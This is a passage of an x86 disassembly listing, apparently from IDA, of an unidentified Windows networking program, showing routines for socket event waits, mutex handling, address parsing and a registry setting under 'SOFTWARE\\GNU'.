movsd inc dword ptr [ebx+0B58h] push 48h pop ecx mov esi, eax mov edi, esp rep movsd call sub_40925E add esp, 120h cmp dword ptr [ebx+0B68h], 0 jnz short loc_40B630 call sub_409351 cmp eax, 28h jbe short loc_40B630 lea eax, [ebp+var_100] push eax call sub_4091F9 pop ecx loc_40B630: ; CODE XREF: sub_40B543+60j ; sub_40B543+6Cj ... add ebx, 0B90h mov eax, [ebx] test eax, eax jz short loc_40B646 push eax call sub_41CA28 and dword ptr [ebx], 0 pop ecx loc_40B646: ; CODE XREF: sub_40B543+F7j pop edi pop esi pop ebx leave retn 4 sub_40B543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64D proc near ; CODE XREF: .text:0040B158p ; sub_40B45D+3Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_43810C push edi add eax, 588h call sub_408AF0 xor edi, edi test eax, eax mov [ebp+var_8], eax jbe loc_40B6F8 push ebx push esi loc_40B671: ; CODE XREF: sub_40B64D+A3j mov eax, ds:dword_43810C mov eax, [eax+58Ch] mov esi, edi shl esi, 2 add eax, esi mov eax, [eax] push 0FFFFFFFFh push dword ptr [eax+10h] call ds:dword_429128 ; WaitForSingleObject mov ecx, ds:dword_43810C mov eax, [ecx+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+48h] xor ebx, ebx test eax, eax mov [ebp+var_4], eax jbe short loc_40B6D9 loc_40B6AC: ; CODE XREF: sub_40B64D+8Aj mov eax, [ecx+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+158h] lea eax, [eax+ebx*4] mov eax, [eax] cmp eax, [ebp+arg_0] jz short loc_40B6D3 push 0 call sub_409B12 mov ecx, ds:dword_43810C loc_40B6D3: ; CODE XREF: sub_40B64D+77j inc ebx cmp ebx, [ebp+var_4] jb short loc_40B6AC loc_40B6D9: ; CODE XREF: sub_40B64D+5Dj mov ecx, [ecx+58Ch] add ecx, esi mov eax, [ecx] push dword ptr [eax+10h] call ds:dword_429138 ; ReleaseMutex inc edi cmp edi, [ebp+var_8] jb loc_40B671 pop esi pop ebx loc_40B6F8: ; CODE XREF: sub_40B64D+1Cj call sub_409351 cmp eax, 28h jnb short loc_40B716 mov eax, [ebp+arg_0] mov dword ptr [eax+7DCh], 3 push 8 lea edi, [eax+2Ch] jmp short loc_40B71E ; --------------------------------------------------------------------------- loc_40B716: ; CODE XREF: sub_40B64D+B3j mov edi, [ebp+arg_0] push 0Dh add edi, 2Ch loc_40B71E: ; CODE XREF: sub_40B64D+C7j push offset aD ; "%d\r\n" call sub_414CA6 pop ecx pop ecx pop edi leave retn 4 sub_40B64D endp ; =============== S U B R O U T I N E ======================================= sub_40B72F proc near ; CODE XREF: sub_40A355+46p ; .text:0040A3F3p ... push esi lea esi, [edi+0B78h] mov dword ptr [edi+0B80h], 13880h call sub_416B0E and dword ptr [edi+0B88h], 0 pop esi retn sub_40B72F endp ; =============== S U B R O U T I N E ======================================= sub_40B74E proc near ; CODE XREF: .text:0040ABFDp arg_0 = word ptr 4 push esi mov esi, ecx and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh push 100h lea ecx, [esi+14h] mov [esi+10h], eax push ecx add eax, 2Ch push eax mov dword ptr [esi], offset off_430518 call sub_414B20 mov ax, [esp+4+arg_0] mov [esi+114h], ax call sub_416AC4 mov eax, esi pop esi retn 4 sub_40B74E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78B proc near ; DATA XREF: .text:off_430518o var_5BC = byte ptr -5BCh var_164 = dword ptr -164h var_150 = dword ptr -150h var_48 = byte ptr -48h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 5BCh push ebx push esi mov ebx, ecx push edi lea esi, [ebp+var_5BC] mov [ebp+var_8], ebx call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA mov ax, [ebx+114h] lea esi, [ebx+14h] push esi lea ecx, [ebp+var_5BC] mov [ebp+var_4], esi call sub_414A81 test eax, eax jnz loc_40B867 push 20h pop ebx lea esi, [ebp+var_5BC] call sub_414AE0 push 2 push [ebp+var_164] call ds:dword_4292A0 ; shutdown mov eax, [ebp+var_150] mov [ebp+var_C], eax mov [ebp+var_14], 1388h call ds:dword_4290A8 ; GetTickCount mov ebx, ds:dword_4292CC mov [ebp+var_1C], eax xor eax, eax push eax mov esi, 3E8h push esi mov [ebp+var_18], eax push eax jmp short loc_40B82B ; --------------------------------------------------------------------------- loc_40B81C: ; CODE XREF: sub_40B78B+BBj lea eax, [ebp+var_1C] call sub_416B46 test eax, eax jnz short loc_40B855 push eax push esi push eax loc_40B82B: ; CODE XREF: sub_40B78B+8Fj lea eax, [ebp+var_C] push eax push 1 call ebx ; WSAWaitForMultipleEvents lea eax, [ebp+var_48] lea edi, [ebp+var_5BC] push eax call sub_414C04 test [ebp+var_48], 20h jz short loc_40B81C push [ebp+var_4] mov edi, offset dword_438188 call sub_4072DE loc_40B855: ; CODE XREF: sub_40B78B+9Bj push 3 lea eax, [ebp+var_5BC] call sub_414D44 mov ebx, [ebp+var_8] jmp short loc_40B881 ; --------------------------------------------------------------------------- loc_40B867: ; CODE XREF: sub_40B78B+41j push offset dword_42FE10 push esi call sub_41C930 pop ecx pop ecx push 3 lea eax, [ebp+var_5BC] call sub_414D44 loc_40B881: ; CODE XREF: sub_40B78B+DAj mov eax, [ebx+10h] push 0FFFFFFFFh push dword ptr [eax+7D8h] call ds:dword_429128 ; WaitForSingleObject push [ebp+var_4] mov edi, [ebx+10h] push 2 push offset aDS ; "%d|%s\r\n" add edi, 2Ch call sub_414CA6 mov eax, [ebx+10h] and dword ptr [eax+0A48h], 0 mov eax, [ebx+10h] add esp, 0Ch push dword ptr [eax+7D8h] call ds:dword_429138 ; ReleaseMutex pop edi pop esi pop ebx leave retn sub_40B78B endp ; =============== S U B R O U T I N E ======================================= sub_40B8C8 proc near ; CODE XREF: sub_40B543+2Ap push 0 push dword ptr [eax+10h] call ds:dword_429090 ; InterlockedExchange retn sub_40B8C8 endp ; =============== S U B R O U T I N E ======================================= sub_40B8D4 proc near ; CODE XREF: sub_4142D6+3EEp mov eax, offset loc_427A2D call sub_41E550 sub esp, 404h push ebx mov ebx, [ebp+8] or dword ptr [ebx+0Ch], 0FFFFFFFFh push esi push edi xor edi, edi mov [ebx+4], edi mov [ebp-4], edi lea esi, [ebx+10h] mov dword ptr [ebx], offset off_43050C call sub_414878 lea eax, [ebx+584h] push eax call sub_40C251 cmp ds:dword_43810C, edi jnz loc_40B9B4 push 404h push edi push offset dword_435F80 mov ds:dword_43810C, ebx mov ds:dword_435F70, edi mov ds:dword_435F74, edi mov ds:dword_435F78, edi mov ds:dword_435F68, edi mov ds:dword_435F6C, edi call sub_41C6D0 push 0B04h push edi push offset dword_436388 call sub_41C6D0 lea eax, [ebp-410h] push offset dword_434150 push eax mov eax, 1000h call sub_404D91 mov ecx, 101h mov esi, eax mov edi, offset dword_436E90 add esp, 20h rep movsd xor esi, esi loc_40B989: ; CODE XREF: sub_40B8D4+CAj push 7Ah push 61h call sub_40D864 mov ds:byte_435F54[esi], al inc esi cmp esi, 10h pop ecx pop ecx jb short loc_40B989 cmp dword ptr [ebp+0Ch], 0 mov byte ptr ds:dword_435F64, 0 jz short loc_40B9B4 mov esi, ebx call sub_416AC4 loc_40B9B4: ; CODE XREF: sub_40B8D4+42j ; sub_40B8D4+D7j mov ecx, [ebp-0Ch] pop edi pop esi mov eax, ebx pop ebx mov large fs:0, ecx leave retn 8 sub_40B8D4 endp ; =============== S U B R O U T I N E ======================================= sub_40B9C7 proc near ; DATA XREF: .text:00430510o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40B9F6 test [esp+4+arg_0], 1 jz short loc_40B9DD push esi call sub_41C7B8 pop ecx loc_40B9DD: ; CODE XREF: sub_40B9C7+Dj mov eax, esi pop esi retn 4 sub_40B9C7 endp ; =============== S U B R O U T I N E ======================================= sub_40B9E3 proc near ; CODE XREF: sub_407ACB+22p ; sub_40B9F6+17p ... push esi lea esi, [edi+4] call sub_413A1C push dword ptr [edi] call ds:dword_4290F0 ; CloseHandle pop esi retn sub_40B9E3 endp ; =============== S U B R O U T I N E ======================================= sub_40B9F6 proc near ; CODE XREF: sub_40B9C7+3p push edi push 3 lea eax, [esi+10h] mov dword ptr [esi], offset off_43050C call sub_414D44 lea edi, [esi+584h] call sub_40B9E3 mov ecx, esi pop edi jmp sub_416AA6 sub_40B9F6 endp ; --------------------------------------------------------------------------- loc_40BA1A: ; DATA XREF: .text:off_43050Co mov eax, offset loc_427F66 call sub_41E550 sub esp, 0EA4h push ebx push esi mov ebx, ecx push edi push ebx mov [ebp-10h], ebx call sub_40C14B mov eax, [ebx+47Ch] and dword ptr [ebp-18h], 0 mov [ebp-30h], eax mov dword ptr [ebp-38h], 1 call ds:dword_4290A8 ; GetTickCount and dword ptr [ebp-3Ch], 0 mov [ebp-40h], eax loc_40BA59: ; CODE XREF: .text:0040BC3Cj ; .text:0040BC44j ... xor esi, esi cmp ds:dword_438108, esi jnz loc_40BB45 cmp [ebp-18h], esi jnz loc_40BB45 lea eax, [ebp-40h] call sub_416B46 test eax, eax jz loc_40BB45 mov dword ptr [ebp-38h], 4E20h call ds:dword_4290A8 ; GetTickCount cmp ds:dword_435F64, esi mov [ebp-40h], eax mov [ebp-3Ch], esi jz short loc_40BAA9 cmp ds:dword_435F78, 5 jb short loc_40BAB5 jmp loc_40BB45 ; --------------------------------------------------------------------------- loc_40BAA9: ; CODE XREF: .text:0040BA99j cmp ds:dword_438108, esi jnz loc_40BB45 loc_40BAB5: ; CODE XREF: .text:0040BAA2j lea eax, [ebp-93Ch] push eax call sub_408F53 push 48h pop ecx mov esi, eax lea eax, [ebp-1A8h] lea edi, [ebp-1A8h] mov dword ptr [esp], offset aNull ; "null" push eax rep movsd call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40BB45 lea eax, [ebp-1A8h] push eax call ds:dword_429270 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-28h], eax jnz short loc_40BB33 push 1Ch call sub_41BA91 pop ecx mov [ebp-14h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40BB26 mov eax, [ebx+8] lea ecx, [ebp-28h] push ecx lea ecx, [ebp-1A8h] push ecx push eax push dword ptr [ebp-14h] call sub_414DCD loc_40BB26: ; CODE XREF: .text:0040BB0Dj or dword ptr [ebp-4], 0FFFFFFFFh mov dword ptr [ebp-18h], 1 jmp short loc_40BB45 ; --------------------------------------------------------------------------- loc_40BB33: ; CODE XREF: .text:0040BAFAj push 0 push 0 push 401h push dword ptr [ebx+8] call ds:dword_4291FC ; PostThreadMessageA loc_40BB45: ; CODE XREF: .text:0040BA61j ; .text:0040BA6Aj ... push 1 xor esi, esi push esi push esi push esi lea eax, [ebp-5Ch] push eax call ds:dword_429230 ; PeekMessageA test eax, eax jz loc_40BC22 cmp dword ptr [ebp-58h], 401h jnz loc_40BC22 cmp [ebp-54h], esi mov [ebp-18h], esi jnz loc_40BC22 cmp ds:dword_438108, esi jnz loc_40BC22 lea esi, [ebp-0EB0h] call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA push 10h pop ebx call sub_414AE0 mov ecx, [ebp-10h] lea eax, [ebp-0EB0h] push eax add ecx, 584h call loc_40C3CF lea esi, [ebp-1A8h] mov ebx, eax call sub_409431 sub esp, 120h push 48h pop ecx mov edi, esp rep movsd call sub_40925E mov eax, [ebx+15Ch] push 48h pop ecx sub eax, 4 mov eax, [eax] mov edi, esp lea esi, [ebp-1A8h] rep movsd call sub_40A3B3 mov eax, [ebx+15Ch] push dword ptr [ebp-0A8h] sub eax, 4 cmp ds:dword_435F64, 0 push dword ptr [ebp-28h] mov edi, [eax] setz bl inc bl call ds:dword_429274 ; inet_ntoa push eax mov cl, bl call sub_409A9C mov ebx, [ebp-10h] loc_40BC22: ; CODE XREF: .text:0040BB58j ; .text:0040BB65j ... push 0 push 3E8h push 0 lea eax, [ebp-30h] push eax push 1 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz loc_40BA59 test eax, eax jnz loc_40BA59 lea eax, [ebp-88h] lea edi, [ebx+10h] push eax call sub_414C04 test byte ptr [ebp-88h], 8 jz loc_40BA59 lea esi, [ebp-81Ch] call sub_414878 push edi lea esi, [ebp-81Ch] call sub_414A1F push 100h lea eax, [ebp-2A8h] push eax lea eax, [ebp-81Ch] push eax call sub_414B20 xor edi, edi cmp ds:dword_435F64, edi jz loc_40BDD1 lea eax, [ebp-2A8h] push eax mov esi, offset dword_438174 call sub_407331 test eax, eax jnz loc_40BDD1 lea eax, [ebx+588h] mov [ebp-14h], edi call sub_408AF0 mov [ebp-20h], eax xor eax, eax cmp [ebp-20h], edi mov [ebp-24h], eax jbe loc_40BDA6 loc_40BCDB: ; CODE XREF: .text:0040BD96j mov esi, eax mov eax, [ebx+58Ch] shl esi, 2 add eax, esi mov eax, [eax] push 0FFFFFFFFh push dword ptr [eax+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, [ebx+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+48h] xor ecx, ecx test eax, eax mov [ebp-2Ch], eax mov [ebp-1Ch], ecx jbe short loc_40BD79 loc_40BD0E: ; CODE XREF: .text:0040BD77j mov eax, [ebx+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+158h] lea eax, [eax+ecx*4] mov eax, [eax] cmp dword ptr [eax+5A4h], 6 jnz short loc_40BD6D cmp dword ptr [eax+7B8h], 1 jnz short loc_40BD6D cmp byte ptr [eax+7B4h], 1 jz short loc_40BD6D add eax, 2Ch push eax call sub_414B44 mov edi, eax lea eax, [ebp-81Ch] push eax call sub_414B44 cmp eax, edi jnz short loc_40BD6D push 3 lea eax, [ebp-81Ch] mov dword ptr [ebp-14h], 1 call sub_414D44 loc_40BD6D: ; CODE XREF: .text:0040BD2Aj ; .text:0040BD33j ... mov ecx, [ebp-1Ch] inc ecx cmp ecx, [ebp-2Ch] mov [ebp-1Ch], ecx jb short loc_40BD0E loc_40BD79: ; CODE XREF: .text:0040BD0Cj mov eax, [ebx+58Ch] add eax, esi mov eax, [eax] push dword ptr [eax+10h] call ds:dword_429138 ; ReleaseMutex mov eax, [ebp-24h] inc eax cmp eax, [ebp-20h] mov [ebp-24h], eax jb loc_40BCDB cmp dword ptr [ebp-14h], 0 jnz loc_40BA59 loc_40BDA6: ; CODE XREF: .text:0040BCD5j push 21h pop ebx lea esi, [ebp-81Ch] call sub_414AE0 mov ecx, [ebp-10h] lea eax, [ebp-81Ch] push eax add ecx, 584h call loc_40C3CF mov ebx, [ebp-10h] jmp loc_40BA59 ; --------------------------------------------------------------------------- loc_40BDD1: ; CODE XREF: .text:0040BC9Dj ; .text:0040BCB6j push 3 lea eax, [ebp-81Ch] call sub_414D44 jmp loc_40BA59 ; =============== S U B R O U T I N E ======================================= sub_40BDE3 proc near ; CODE XREF: sub_40C14B+Fp mov eax, offset loc_427EF8 call sub_41E550 sub esp, 5Ch push ebx push esi push edi push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp-20h] call sub_40D8DC and dword ptr [ebp-4], 0 mov esi, offset aPkys ; "pkys" push esi lea eax, [ebp-20h] push eax call sub_40D93E test eax, eax jnz short loc_40BE28 push 40h push esi lea eax, [ebp-20h] push eax call sub_40DA4A loc_40BE28: ; CODE XREF: sub_40BDE3+37j push esi lea eax, [ebp-20h] push eax call sub_40DA68 mov edi, eax shl edi, 3 mov eax, 200h cmp edi, eax jnb short loc_40BE42 mov edi, eax loc_40BE42: ; CODE XREF: sub_40BDE3+5Bj mov eax, 1000h cmp edi, eax jbe short loc_40BE4D mov edi, eax loc_40BE4D: ; CODE XREF: sub_40BDE3+66j lea esi, [ebp-68h] mov ds:dword_435F80, edi mov [ebp-14h], edi mov dword ptr [ebp-10h], 1 mov ds:dword_436388, edi call sub_418DCE push dword ptr [ebp-68h] call sub_41BAB5 xor esi, esi cmp [ebp-68h], esi pop ecx mov ebx, eax jbe short loc_40BE94 loc_40BE7D: ; CODE XREF: sub_40BDE3+AFj push 0FFh push 0 call sub_40D864 mov [esi+ebx], al inc esi cmp esi, [ebp-68h] pop ecx pop ecx jb short loc_40BE7D loc_40BE94: ; CODE XREF: sub_40BDE3+98j push dword ptr [ebp-68h] lea esi, [ebp-68h] push ebx call sub_418DEB push ebx call sub_41CA28 and dword ptr [ebp-28h], 0 add esp, 0Ch call ds:dword_4290A8 ; GetTickCount and dword ptr [ebp-2Ch], 0 mov [ebp-30h], eax mov eax, esi push eax lea eax, [ebp-14h] push eax push offset dword_435F80 mov ecx, offset dword_436388 call sub_4187C5 add esp, 0Ch lea eax, [ebp-30h] call sub_416B68 cmp eax, 3E8h push 14h push 1 jnb short loc_40BEED call sub_40D864 jmp short loc_40BEF4 ; --------------------------------------------------------------------------- loc_40BEED: ; CODE XREF: sub_40BDE3+101j call sub_40D864 neg eax loc_40BEF4: ; CODE XREF: sub_40BDE3+108j pop ecx lea eax, [edi+eax*8] pop ecx shr eax, 3 push eax push offset aPkys ; "pkys" lea eax, [ebp-20h] push eax call sub_40DA4A lea eax, [ebp-20h] call sub_40D8F7 mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40BDE3 endp ; =============== S U B R O U T I N E ======================================= sub_40BF22 proc near ; CODE XREF: sub_40EF9A+3p mov eax, ds:dword_438108 test eax, eax jz short loc_40BF35 add eax, 2Ch push eax call sub_414B44 retn ; --------------------------------------------------------------------------- loc_40BF35: ; CODE XREF: sub_40BF22+7j xor eax, eax retn sub_40BF22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF38 proc near ; CODE XREF: .text:0040A6F6p ; .text:0040ADCFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 18h push esi xor esi, esi cmp [ebp+arg_8], esi mov [ebp+var_8], esi jz short loc_40BF4E dec [ebp+arg_8] jmp short loc_40BF55 ; --------------------------------------------------------------------------- loc_40BF4E: ; CODE XREF: sub_40BF38+Fj mov [ebp+var_8], 1 loc_40BF55: ; CODE XREF: sub_40BF38+14j lea eax, [ebx+588h] mov [ebp+var_1], 0 call sub_408AF0 cmp eax, esi mov [ebp+var_18], eax mov [ebp+var_C], esi jbe loc_40C146 push edi loc_40BF73: ; CODE XREF: sub_40BF38+207j mov eax, [ebx+58Ch] shl esi, 2 add eax, esi mov eax, [eax] push 0FFFFFFFFh push dword ptr [eax+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, [ebx+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+48h] xor edx, edx test eax, eax mov [ebp+var_14], eax mov [ebp+var_10], edx jbe loc_40C11D loc_40BFA8: ; CODE XREF: sub_40BF38+1DFj mov ecx, [ebp+var_C] mov eax, [ebx+58Ch] shl ecx, 2 add eax, ecx mov eax, [eax] mov eax, [eax+158h] lea eax, [eax+edx*4] mov esi, [eax] cmp esi, [ebp+arg_0] jz loc_40C10D cmp dword ptr [esi+5A4h], 6 jnz loc_40C10D xor ecx, ecx cmp [ebp+arg_18], ecx jz short loc_40C025 mov al, [esi+7B4h] cmp al, 3 jnz short loc_40BFEF cmp [ebp+var_8], ecx jz short loc_40BFF3 loc_40BFEF: ; CODE XREF: sub_40BF38+B0j cmp al, 2 jnz short loc_40C025 loc_40BFF3: ; CODE XREF: sub_40BF38+B5j push [ebp+arg_8] lea edi, [esi+2Ch] push [ebp+arg_4] mov esi, [ebp+arg_C] push esi call sub_41C350 pop ecx inc eax push eax push [ebp+arg_14] push 0Ah push offset aDXDSD01 ; "%d|%X|%d|%s|%d|0|1\r\n" call sub_414CA6 push esi call sub_41C350 add esp, 1Ch jmp loc_40C0F0 ; --------------------------------------------------------------------------- loc_40C025: ; CODE XREF: sub_40BF38+A6j ; sub_40BF38+B9j cmp [ebp+var_8], ecx jnz short loc_40C090 cmp byte ptr [esi+7B4h], 3 jnz short loc_40C090 push [ebp+arg_8] lea edi, [esi+2Ch] push [ebp+arg_4] push [ebp+arg_C] call sub_41C350 pop ecx inc eax push eax push [ebp+arg_14] push 0Ah push offset aDXDSD00 ; "%d|%X|%d|%s|%d|0|0\r\n" call sub_414CA6 add esp, 18h push 200h push [ebp+arg_10] call sub_414C2D push [ebp+arg_C] call sub_41C350 test eax, eax pop ecx jbe short loc_40C085 push [ebp+arg_C] call sub_41C350 pop ecx push eax push [ebp+arg_C] call sub_414C2D loc_40C085: ; CODE XREF: sub_40BF38+139j push 1 lea eax, [ebp+var_1] push eax call sub_414C2D loc_40C090: ; CODE XREF: sub_40BF38+F0j ; sub_40BF38+F9j push offset dword_4304BC push [ebp+arg_4] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40C10D cmp byte ptr [esi+7B4h], 2 jnz short loc_40C10D cmp dword ptr [esi+7B8h], 1 jnz short loc_40C10D push [ebp+arg_8] lea edi, [esi+2Ch] push [ebp+arg_4] mov esi, [ebp+arg_C] push esi call sub_41C350 pop ecx inc eax push eax push [ebp+arg_14] push 0Ah push offset aDXDSD00 ; "%d|%X|%d|%s|%d|0|0\r\n" call sub_414CA6 add esp, 18h push 200h push [ebp+arg_10] call sub_414C2D push esi call sub_41C350 pop ecx loc_40C0F0: ; CODE XREF: sub_40BF38+E8j test eax, eax jbe short loc_40C102 push esi call sub_41C350 pop ecx push eax push esi call sub_414C2D loc_40C102: ; CODE XREF: sub_40BF38+1BAj lea eax, [ebp+var_1] push 1 push eax call sub_414C2D loc_40C10D: ; CODE XREF: sub_40BF38+8Ej ; sub_40BF38+9Bj ... mov edx, [ebp+var_10] inc edx cmp edx, [ebp+var_14] mov [ebp+var_10], edx jb loc_40BFA8 loc_40C11D: ; CODE XREF: sub_40BF38+6Aj mov esi, [ebp+var_C] mov eax, [ebx+58Ch] mov ecx, esi shl ecx, 2 add eax, ecx mov eax, [eax] push dword ptr [eax+10h] call ds:dword_429138 ; ReleaseMutex inc esi cmp esi, [ebp+var_18] mov [ebp+var_C], esi jb loc_40BF73 pop edi loc_40C146: ; CODE XREF: sub_40BF38+34j pop esi leave retn 1Ch sub_40BF38 endp ; =============== S U B R O U T I N E ======================================= sub_40C14B proc near ; CODE XREF: .text:0040BA33p mov eax, offset loc_427F52 call sub_41E550 push ecx push ecx push ebx push esi push edi call sub_40BDE3 push offset a127_ ; "127.*" mov edi, offset dword_438174 call sub_4072DE push offset aLocalhost ; "localhost" call sub_4072DE mov edi, [ebp+8] xor ecx, ecx add edi, 10h inc ecx mov eax, edi call sub_4148AA push 8 pop ebx mov esi, edi call sub_414AE0 lea esi, [ebp-14h] call sub_405E63 and dword ptr [ebp-4], 0 push offset aNull_1 ; "null" push 6 call sub_4048C1 push eax mov eax, esi call sub_405EF4 call sub_4048C1 mov ecx, edi call sub_414997 cmp eax, 0FFFFFFFFh jz short loc_40C1DD push 4 mov eax, edi call sub_414A0C cmp eax, 0FFFFFFFFh jz short loc_40C1DD mov ds:dword_435F64, 1 jmp short loc_40C1E4 ; --------------------------------------------------------------------------- loc_40C1DD: ; CODE XREF: sub_40C14B+76j ; sub_40C14B+84j and ds:dword_435F64, 0 loc_40C1E4: ; CODE XREF: sub_40C14B+90j or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-14h] call sub_405EDB mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40C14B endp ; =============== S U B R O U T I N E ======================================= sub_40C201 proc near ; CODE XREF: .text:0040A6C2p mov eax, offset loc_427EE6 call sub_41E550 push ecx push esi push edi push 18h call sub_41BA91 pop ecx mov [ebp-10h], eax xor esi, esi cmp eax, esi mov [ebp-4], esi jz short loc_40C22D push dword ptr [ebp+8] push eax call sub_411299 mov esi, eax loc_40C22D: ; CODE XREF: sub_40C201+1Fj or dword ptr [ebp-4], 0FFFFFFFFh call sub_416AC4 push esi mov edi, offset dword_4381B8 call sub_4138D7 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn 4 sub_40C201 endp ; =============== S U B R O U T I N E ======================================= sub_40C251 proc near ; CODE XREF: sub_40B8D4+37p mov eax, offset loc_427D24 call sub_41E550 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ebx call sub_4099E5 xor esi, esi lea edi, [ebx+4] mov [ebp-4], esi mov [edi+4], esi mov [edi+8], esi mov [edi+0Ch], esi push 164h mov byte ptr [ebp-4], 1 call sub_41BA91 pop ecx mov [ebp-10h], eax cmp eax, esi mov byte ptr [ebp-4], 2 jz short loc_40C29C push eax call sub_40C31C jmp short loc_40C29E ; --------------------------------------------------------------------------- loc_40C29C: ; CODE XREF: sub_40C251+41j xor eax, eax loc_40C29E: ; CODE XREF: sub_40C251+49j mov byte ptr [ebp-4], 1 mov [ebp-10h], eax lea esi, [ebp-10h] mov eax, edi call sub_40C2E7 mov ecx, [ebp-0Ch] pop edi pop esi mov eax, ebx pop ebx mov large fs:0, ecx leave retn 4 sub_40C251 endp ; =============== S U B R O U T I N E ======================================= sub_40C2C2 proc near ; CODE XREF: .text:0040A73Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_0] cmp edi, [esp+4+arg_4] jz short loc_40C2DF mov eax, [esi+8] push edi push [esp+8+arg_4] call sub_414283 pop ecx pop ecx mov [esi+8], eax loc_40C2DF: ; CODE XREF: sub_40C2C2+9j mov [ebx], edi mov eax, ebx pop edi retn 8 sub_40C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_40C2E7 proc near ; CODE XREF: sub_407D47+5Ap ; sub_407DB9+B1p ... var_4 = byte ptr -4 push ecx push ebx push edi mov edi, eax call sub_408AF0 mov ebx, eax mov eax, edi call sub_4073E5 cmp ebx, eax mov eax, [edi+8] jnb short loc_40C30D mov ecx, [esi] mov [eax], ecx add eax, 4 mov [edi+8], eax jmp short loc_40C318 ; --------------------------------------------------------------------------- loc_40C30D: ; CODE XREF: sub_40C2E7+18j push esi push eax lea ebx, [esp+14h+var_4] call sub_4073F8 loc_40C318: ; CODE XREF: sub_40C2E7+24j pop edi pop ebx pop ecx retn sub_40C2E7 endp ; =============== S U B R O U T I N E ======================================= sub_40C31C proc near ; CODE XREF: sub_40C251+44p ; sub_40C38F+CEp arg_10 = dword ptr 14h mov eax, offset loc_427C67 call sub_41E550 push esi mov esi, [esp+4+arg_10] push 800h push esi call sub_4150A5 lea eax, [esi+154h] mov dword ptr [esi], offset off_430530 xor ecx, ecx mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx mov ecx, [esp+4] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_40C31C endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edi mov edi, ecx call sub_40C37B test byte ptr [esp+8], 1 jz short loc_40C375 push edi call sub_41C7B8 pop ecx loc_40C375: ; CODE XREF: .text:0040C36Cj mov eax, edi pop edi retn 4 ; =============== S U B R O U T I N E ======================================= sub_40C37B proc near ; CODE XREF: .text:0040C362p push esi lea esi, [edi+154h] call sub_413A1C mov ecx, edi pop esi jmp sub_415135 sub_40C37B endp ; =============== S U B R O U T I N E ======================================= sub_40C38F proc near ; CODE XREF: sub_401A4D+1Ej ; sub_401C28+4Bp ... mov eax, offset loc_427C8D call sub_41E550 sub esp, 44h push offset aVectorTTooLong ; "vector<T> too long" lea ecx, [ebp-28h] call sub_401818 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401000 push offset dword_43118C lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_429478 call sub_41E4BE int 3 ; Trap to Debugger loc_40C3CF: ; CODE XREF: .text:0040BBB0p ; .text:0040BDC4p mov eax, offset loc_427EE6 call sub_41E550 push ecx push ebx push esi push edi mov edi, ecx push 0FFFFFFFFh push dword ptr [edi] call ds:dword_429128 ; WaitForSingleObject mov ebx, [edi+8] mov eax, [edi+0Ch] cmp ebx, eax jz short loc_40C426 loc_40C3F3: ; CODE XREF: sub_40C38F+95j lea eax, [edi+4] call sub_408AF0 cmp eax, 1 jbe short loc_40C426 mov esi, [ebx] cmp dword ptr [esi+48h], 0 jg short loc_40C41E call sub_4151B4 push ebx lea ebx, [ebp-10h] lea esi, [edi+4] call sub_408B03 mov ebx, [edi+8] jmp short loc_40C421 ; --------------------------------------------------------------------------- loc_40C41E: ; CODE XREF: sub_40C38F+77j add ebx, 4 loc_40C421: ; CODE XREF: sub_40C38F+8Dj cmp ebx, [edi+0Ch] jnz short loc_40C3F3 loc_40C426: ; CODE XREF: sub_40C38F+62j ; sub_40C38F+6Fj mov esi, [edi+8] cmp esi, [edi+0Ch] jz short loc_40C4A4 loc_40C42E: ; CODE XREF: sub_40C38F+B5j mov eax, [ebp+8] mov ebx, [esi] call sub_41520F test eax, eax jnz short loc_40C464 mov eax, [edi+0Ch] add esi, 4 cmp esi, eax jnz short loc_40C42E push 164h call sub_41BA91 pop ecx mov [ebp-10h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40C470 push eax call sub_40C31C jmp short loc_40C472 ; --------------------------------------------------------------------------- 